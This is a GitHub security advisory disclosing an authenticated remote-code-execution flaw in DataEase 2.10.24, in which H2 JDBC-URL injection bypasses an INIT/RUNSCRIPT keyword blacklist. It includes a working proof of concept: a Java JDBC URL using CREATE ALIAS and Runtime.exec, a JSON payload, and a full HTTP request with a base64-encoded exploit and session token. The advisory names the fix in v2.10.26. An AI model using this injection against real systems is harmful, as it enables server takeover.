Skip to main content
Menu
Advisories

Remote Code Execution via H2 JDBC‑URL Injection (Blacklist Bypass) in DataEase

GHSA-H72X-2XR4-HV49Published Updated GitHub

Description

Impact

Summary

DataEase version 2.10.24 is vulnerable to authenticated remote code execution. The existing defence mechanism uses a keyword blacklist to block dangerous H2 keywords INIT and RUNSCRIPT inside user‑supplied JDBC URLs. <img width="1668" height="762" alt="image" src="github.com/user-attachments/assets/4127789b-ae2e-4ebc-83a1-9c20e0f0215c" />

However, there is actually another way to execute code without using these two keywords. This issue, somewhat like SQL injection, arises from a flaw in the underlying code of the H2 driver.

After parsing the URL parameters, ConnectionInfo opens the Database/Session. Within openSession, there's a processing logic that allows literals during the connection establishment phase. For parameters other than the pre-processed DbSettings values like PAGE_SIZE and MV_STORE, it checks if they are "simple identifiers": <img width="1341" height="785" alt="image" src="github.com/user-attachments/assets/e4a55af9-69f7-47fb-830b-684c02b1a4d4" />

Subsequently, our pre-compiled SET xx=xx was directly executed by prepareLocal as an SQL statement. <img width="1168" height="531" alt="image" src="github.com/user-attachments/assets/8e7c31ca-26e4-48d1-b542-b28f2afbd62f" />

This is a classic injection problem. H2 URL syntax uses semicolons to separate different attributes, but it also allows comments using backslashes. Therefore, for code like LOCK_TIMEOUT=0\;xxxxxxxx;, it interprets 0\;xxxxxxxx; as the value of the preceding parameter LOCK_TIMEOUT. However, the SQL engine ignores the backslashes during parsing, so the final executed content becomes LOCK_TIMEOUT=0 followed by xxxxxxxx. Therefore, the final POC is simple: just add code after LOCK_TIMEOUT=0\; to make it execute.

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class H2RCE_special {
    public static void main(String[] args) throws Exception {
        String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('calc')";
        Connection conn = DriverManager.getConnection(url);

    }
}

<img width="2040" height="1221" alt="image" src="github.com/user-attachments/assets/3851bdcf-03df-4282-abcf-10e1aa408463" />

This Proof-of-Concept (POC) can naturally bypass the current protections, since it doesn't contain the keywords INIT and RUNSCRIPT.

{"dataBase":"","jdbc":"jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('touch /tmp/HackedByFushuling')","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"123","password":"123","host":"","authMethod":"","port":0,"initialPoolSize":5,"minPoolSize":5,"maxPoolSize":5,"queryTimeout":30}
POST /de2api/datasource/getSchema HTTP/1.1
Host: 106.54.203.116:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: application/json
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Cache-Control: no-store
Pragma: no-cache
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzgyMzY2MjI2fQ.jhsjiL_Djpv9svqSPnGJmjPKLye_7VgBfZe-7ua8S40
Content-Length: 584
Origin: http://106.54.203.116:8100/
Sec-GPC: 1
Connection: close
Referer: http://106.54.203.116:8100/
Priority: u=0

{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTpjYWxjO0xPQ0tfVElNRU9VVD0wXFw7Q1JFQVRFIEFMSUFTIENNRCBBUyAndm9pZCB4KFN0cmluZyBjKSB0aHJvd3MgRXhjZXB0aW9ue1J1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoYylcXDt9J1xcO0NBTEwgQ01EKCd0b3VjaCAvdG1wL0hhY2tlZEJ5RnVzaHVsaW5nJykiLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9"}

<img width="1899" height="936" alt="image" src="github.com/user-attachments/assets/ae08d73e-42ad-436d-b4c0-7189d5ef46cc" /> <img width="723" height="141" alt="image" src="github.com/user-attachments/assets/bc1d86d9-b160-4795-8b1c-430f1efe190a" />

However, attempting to execute code directly using a JDBC URL instead of a remote SQL file inevitably involves using CREATE ALIAS to define Java code.

Affected versions

Affected versions < v2.10.26

Patches

The vulnerability has been fixed in v2.10.26.

Workarounds

It is recommended to upgrade the version to v2.10.26.

References

If you have any questions or comments about this advisory:

Affected versions

References

GitHub · dataease/dataease